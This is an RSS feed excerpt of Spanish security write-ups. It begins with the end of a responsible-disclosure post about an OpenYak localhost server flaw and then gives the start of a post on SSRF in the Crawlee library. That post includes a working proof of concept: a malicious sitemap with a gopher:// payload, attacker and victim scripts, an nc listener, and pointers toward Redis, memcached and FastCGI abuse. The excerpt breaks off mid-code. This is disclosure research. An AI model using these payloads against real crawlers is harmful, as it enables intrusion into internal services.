  0x0A — Reflexión final
&lt;/h2&gt;

&lt;p&gt;Este fue el primer repositorio al que me senté a auditar con esta metodología. Encontrar la vulnerabilidad no me llevó nada — y eso, francamente, me preocupa más que el bug en sí.&lt;/p&gt;

&lt;p&gt;La aplicación está cuidada en muchos aspectos: la UI funciona, el código compila, los tests pasan, la integración con providers de LLM está bien resuelta. Pero el &lt;strong&gt;modelo de amenaza&lt;/strong&gt; del servidor local no parece haberse considerado seriamente. Y eso me lleva a la pregunta inevitable:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;¿Cuántas aplicaciones modernas, especialmente las que están naciendo al calor de la ola de IA, exponen servidores locales con esta misma combinación exacta de errores?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;La respuesta empírica, después de un par de tardes mirando alrededor, es: &lt;strong&gt;muchas&lt;/strong&gt;. La superficie de ataque "servidor en localhost que asume que localhost es seguro" se está multiplicando, y el navegador es cada vez peor compañero de viaje para esa asunción.&lt;/p&gt;

&lt;p&gt;Validar &lt;code&gt;Origin&lt;/code&gt; es trivial. Implementar un token de sesión que el servidor pasa al frontend al arrancar y exige en cada request es trivial. Y sin embargo seguimos viendo el mismo patrón.&lt;/p&gt;

&lt;p&gt;El mantenedor de OpenYak hizo lo correcto: respondió rápido, reconoció el bug, lo arregló bien y abrió el camino al CVE. Ojalá fuera la norma.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Esta investigación se realizó bajo responsible disclosure coordinado con el mantenedor del proyecto. La vulnerabilidad fue reportada antes de cualquier publicación pública y el fix estaba disponible antes de este writeup. No se realizaron pruebas sobre instalaciones de terceros sin consentimiento.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;arturo0x90&lt;/strong&gt; · &lt;em&gt;Independent Security Researcher&lt;/em&gt; · CVEs · Responsible Disclosure&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>opensource</category>
      <category>security</category>
    </item>
    <item>
      <title>FULL SSRF + EXFILTRACION EN CRAWLEE</title>
      <dc:creator>arturo melgarejo</dc:creator>
      <pubDate>Fri, 15 May 2026 10:08:56 +0000</pubDate>
      <link>https://forem.com/arturo0x90/full-ssrf-exfiltracion-en-crawlee-1n0f</link>
      <guid>https://forem.com/arturo0x90/full-ssrf-exfiltracion-en-crawlee-1n0f</guid>
      <description>&lt;h2&gt;
  
  
  Introduccion
&lt;/h2&gt;

&lt;p&gt;Vamos a hablar de &lt;strong&gt;Crawlee&lt;/strong&gt;, una libreria de Python (y Node) bastante popular para construir crawlers y scrapers. La mantiene Apify, y la usan desde proyectos personales hasta plataformas SaaS multi-tenant que monitorizan webs de cientos de clientes. Es decir, no es ninguna tonteria.&lt;/p&gt;

&lt;p&gt;Lo que voy a contar son tres casos explotables que encontre despues de mucho tiempo dandole vueltas. Lo he dividido en estos tres casos porque me parece la mejor forma de diferenciar &lt;strong&gt;el alcance y la dificultad de cada uno&lt;/strong&gt; en relacion a su facilidad de explotacion:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Caso 1&lt;/strong&gt; --- Usando el modo &lt;code&gt;curl-impersonate&lt;/code&gt;, podemos hacer llamadas blind a servicios internos (&lt;code&gt;gopher://&lt;/code&gt;, &lt;code&gt;dict://&lt;/code&gt;, &lt;code&gt;ftp://&lt;/code&gt;...) escondidas dentro de un sitemap.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Caso 2&lt;/strong&gt; --- Siguiendo el patron &lt;strong&gt;recomendado en la propia documentacion oficial&lt;/strong&gt;, hay un sitio donde si conseguimos exfiltracion completa (curl).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Caso 3&lt;/strong&gt; --- El englobe del SSRF por HTTP. Esto afecta a las tres HTTP backends de la libreria y no es ninguna tonteria. Si alguien quisiera defender que "por diseño es asi y puede acceder a rangos privados", la libreria tendria que estar totalmente cerrada a produccion y decirlo EXPLICITAMENTE en negrita en cada pagina de la documentacion. Historicamente ha habido bypasses para llamar a servicios TCP a traves de HTTP, asi que esto &lt;strong&gt;no es un detalle menor&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Y antes de nada, me gustaria citar una fuente que he usado en la etapa final del proyecto para intentar bypasses aunque no ha dado sus frutos finalmente:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=voTHFdL9S2k&amp;amp;t=1s" rel="noopener noreferrer"&gt;A New Era of SSRF — OrangeTsai&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Sus exploits y su forma de pensar son &lt;strong&gt;lo que persigo&lt;/strong&gt;. Si no has visto la charla y te interesa el tema, parate y velo antes de seguir leyendo, lo agradeceras.&lt;/p&gt;

&lt;p&gt;He tardado bastante tiempo investigando esta libreria, revisando todos los casos de uso comparandolos con la forma en que los autores la recomiendan usar. Hasta hace no mucho &lt;strong&gt;ni siquiera tenia validacion de esquema&lt;/strong&gt;, segun salia en un issue antiguo. Y aunque ahora tengan algo, esa "validacion" es un castillo de arena: existe en una funcion (&lt;code&gt;Request.from_url&lt;/code&gt;) y nada mas. Todos los demas sitios que aceptan URLs simplemente las cogen como &lt;code&gt;str&lt;/code&gt; y se las pasan al cliente HTTP &lt;strong&gt;sin tocarlas&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Ese es el patron raiz de todo lo que viene a continuacion.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvqukrp4fhyqkfe1q4xj0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvqukrp4fhyqkfe1q4xj0.png" alt=" " width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Caso 1 — SSRF blind via sitemap + curl-impersonate
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Por que esto solo funciona con &lt;code&gt;CurlImpersonateHttpClient&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Antes de meterme en el POC, una aclaracion importante que aplica tanto al Caso 1 como al Caso 2: &lt;strong&gt;estos vectores con esquemas raros (&lt;code&gt;gopher://&lt;/code&gt;, &lt;code&gt;file://&lt;/code&gt;, &lt;code&gt;dict://&lt;/code&gt;, &lt;code&gt;ftp://&lt;/code&gt;...) solo son explotables si el cliente HTTP es &lt;code&gt;CurlImpersonateHttpClient&lt;/code&gt;&lt;/strong&gt;. Y la razon no es por falta de validacion en los otros backends, es algo mas tonto.&lt;/p&gt;

&lt;p&gt;Crawlee tiene tres backends de cliente HTTP:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;httpx&lt;/code&gt;&lt;/strong&gt; y &lt;strong&gt;&lt;code&gt;impit&lt;/code&gt;&lt;/strong&gt; — son librerias HTTP modernas. &lt;strong&gt;Solo hablan &lt;code&gt;http://&lt;/code&gt; y &lt;code&gt;https://&lt;/code&gt;&lt;/strong&gt;. Si les pasas &lt;code&gt;gopher://&lt;/code&gt; te lanzan un error de "scheme not supported" desde la propia libreria. No es que Crawlee valide, es que la lib de abajo simplemente no sabe que hacer con eso. La "validacion" es implicita.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;curl-impersonate&lt;/code&gt;&lt;/strong&gt; (basado en &lt;code&gt;curl-cffi&lt;/code&gt; → libcurl) — libcurl es de los 90s y lleva soporte historico de un mogollon de protocolos: &lt;code&gt;gopher&lt;/code&gt;, &lt;code&gt;file&lt;/code&gt;, &lt;code&gt;dict&lt;/code&gt;, &lt;code&gt;ftp&lt;/code&gt;, &lt;code&gt;tftp&lt;/code&gt;, &lt;code&gt;imap&lt;/code&gt;, &lt;code&gt;telnet&lt;/code&gt;... Por defecto, &lt;strong&gt;todos activos&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Y aqui esta el detalle bonito. &lt;code&gt;CurlImpersonateHttpClient&lt;/code&gt; es &lt;strong&gt;la opcion que la propia documentacion de Crawlee recomienda&lt;/strong&gt; para evadir Cloudflare y sistemas anti-bot, porque imita uso legitimo. Es decir, el backend mas comun en deployments serios es justamente el que abre el zoo entero de protocolos.&lt;/p&gt;

&lt;p&gt;¿Y por que no podemos hacer estos ataques desde un navegador? Porque desde &lt;strong&gt;2021 los navegadores desactivaron casi todos estos protocolos&lt;/strong&gt; (gopher hace mucho mas, ftp en 2021, file en contextos remotos) por motivos de seguridad. Pero un crawler en backend con libcurl pelado no tiene esas restricciones — y eso es justo lo que tenemos aqui.&lt;/p&gt;

&lt;h3&gt;
  
  
  POC
&lt;/h3&gt;

&lt;p&gt;Empezamos poco a poco, no tenemos prisa.&lt;/p&gt;

&lt;p&gt;La idea: yo controlo un sitemap. La victima usa Crawlee con el backend &lt;code&gt;CurlImpersonateHttpClient&lt;/code&gt;. Le sirvo un &lt;code&gt;&amp;lt;sitemapindex&amp;gt;&lt;/code&gt; cuyo &lt;code&gt;&amp;lt;sitemap&amp;gt;&amp;lt;loc&amp;gt;&lt;/code&gt; no es una URL HTTP, sino algo como &lt;code&gt;gopher://127.0.0.1:1337/_HOLA&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Crawlee lee el sitemap-index, ve los &lt;code&gt;&amp;lt;loc&amp;gt;&lt;/code&gt; "anidados", y los va a buscar &lt;strong&gt;uno a uno&lt;/strong&gt;. Y aqui viene lo bonito: estos &lt;code&gt;&amp;lt;loc&amp;gt;&lt;/code&gt; anidados &lt;strong&gt;no pasan por la validacion de esquema&lt;/strong&gt;. La URL viaja directa al cliente HTTP, que en este caso es libcurl, que habla gopher sin problemas.&lt;/p&gt;

&lt;p&gt;Para ver que esto funciona de verdad antes de complicarme la vida, levanto un &lt;code&gt;nc&lt;/code&gt; escuchando en local con &lt;code&gt;xxd&lt;/code&gt; para ver los bytes en crudo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 1337 | xxd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sirvo este sitemap desde un servidor cualquiera:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;sitemapindex&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;"http://www.sitemaps.org/schemas/sitemap/0.9"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;sitemap&amp;gt;&amp;lt;loc&amp;gt;&lt;/span&gt;gopher://127.0.0.1:1337/_HOLA%20DESDE%20CRAWLEE&lt;span class="nt"&gt;&amp;lt;/loc&amp;gt;&amp;lt;/sitemap&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/sitemapindex&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y arranco el crawler victima apuntando a ese sitemap.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxbfq5dhnt7p6gsp22oeg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxbfq5dhnt7p6gsp22oeg.png" alt=" " width="558" height="188"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SIIIII LO TENEMOS!!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Que bien se siente cuando el POC funciona.&lt;/p&gt;

&lt;p&gt;El listener recibe los bytes que yo he metido en la URL gopher. Esto significa que &lt;strong&gt;puedo escribir bytes arbitrarios contra cualquier &lt;code&gt;host:puerto&lt;/code&gt; del loopback&lt;/strong&gt; del crawler. Redis sin auth con un &lt;code&gt;CONFIG SET dir&lt;/code&gt;, memcached con un &lt;code&gt;flush_all&lt;/code&gt;, FastCGI con un payload de RCE... lo que sea que hable un protocolo basado en texto y no requiera leer la respuesta para confirmar el comando, es vulnerable.&lt;/p&gt;

&lt;h3&gt;
  
  
  Codigo del POC
&lt;/h3&gt;

&lt;p&gt;Para que sea reproducible, dejo aqui los tres ficheros que uso. La estructura es: un servidor "atacante" que sirve el sitemap-index y el robots.txt, un crawler "victima" que es el ejemplo basico de Crawlee con &lt;code&gt;CurlImpersonateHttpClient&lt;/code&gt;, y un listener netcat para ver los bytes llegar.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;listener.sh&lt;/code&gt;&lt;/strong&gt; — para ver lo que llega al puerto en hex:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 1337 | xxd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;server.py&lt;/code&gt;&lt;/strong&gt; — el atacante. Sirve dos rutas vulnerables: &lt;code&gt;/sitemap.xml&lt;/code&gt; (un sitemap-index que apunta a un sub-sitemap) y &lt;code&gt;/robots.txt&lt;/code&gt; (que descubre el sitemap por la via de robots.txt, tambien vulnerable). El payload gopher esta en el sub-sitemap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;http.server&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BaseHTTPRequestHandler&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HTTPServer&lt;/span&gt;

&lt;span class="n"&gt;SITEMAP_INDEX&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'''&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;?xml version=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1.0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; encoding=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;UTF-8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;?&amp;gt;
&amp;lt;sitemapindex xmlns=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://www.sitemaps.org/schemas/sitemap/0.9&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;
  &amp;lt;sitemap&amp;gt;&amp;lt;loc&amp;gt;http://127.0.0.1:8000/files-sitemap.xml&amp;lt;/loc&amp;gt;&amp;lt;/sitemap&amp;gt;
&amp;lt;/sitemapindex&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;'''&lt;/span&gt;

&lt;span class="n"&gt;FILES_SITEMAP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'''&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;?xml version=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1.0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; encoding=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;UTF-8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;?&amp;gt;
&amp;lt;sitemapindex xmlns=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://www.sitemaps.org/schemas/sitemap/0.9&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;
  &amp;lt;sitemap&amp;gt;&amp;lt;loc&amp;gt;gopher://127.0.0.1:1337/_HOLA%20DESDE%20CRAWLEE&amp;lt;/loc&amp;gt;&amp;lt;/sitemap&amp;gt;
&amp;lt;/sitemapindex&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;'''&lt;/span&gt;

&lt;span class="n"&gt;ROBOTS_TXT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Sitemap: http://127.0.0.1:8000/sitemap.xml&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;span class="n"&gt;ROUTES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/sitemap.xml&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;       &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SITEMAP_INDEX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;application/xml; charset=utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/files-sitemap.xml&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FILES_SITEMAP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;application/xml; charset=utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/robots.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ROBOTS_TXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;text/plain; charset=utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;H&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseHTTPRequestHandler&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;do_GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ROUTES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;404&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;end_headers&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;
        &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ctype&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Content-Type&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ctype&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Content-Length&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;end_headers&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wfile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nc"&gt;HTTPServer&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8000&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;H&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;serve_forever&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;crawler.py&lt;/code&gt;&lt;/strong&gt; — la victima. El &lt;code&gt;MODE&lt;/code&gt; permite probar los dos vectores: entrar directo por sitemap-index, o descubrir el sitemap a traves de &lt;code&gt;robots.txt&lt;/code&gt; (configuracion default-on en muchos crawlers de research):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;asyncio&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;crawlee.crawlers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;HttpCrawler&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HttpCrawlingContext&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;crawlee.http_clients&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;CurlImpersonateHttpClient&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;crawlee.request_loaders&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SitemapRequestLoader&lt;/span&gt;

&lt;span class="n"&gt;MODE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sitemap&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;  &lt;span class="c1"&gt;# o 'robots'
&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;http_client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;CurlImpersonateHttpClient&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;MODE&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sitemap&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;sitemap_urls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:8000/sitemap.xml&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;MODE&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;robots&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;sitemap_urls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sitemaps_from_robots&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;http_client&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;[robots.txt] sitemaps descubiertos: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;sitemap_urls&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;MODE invalido: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;MODE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

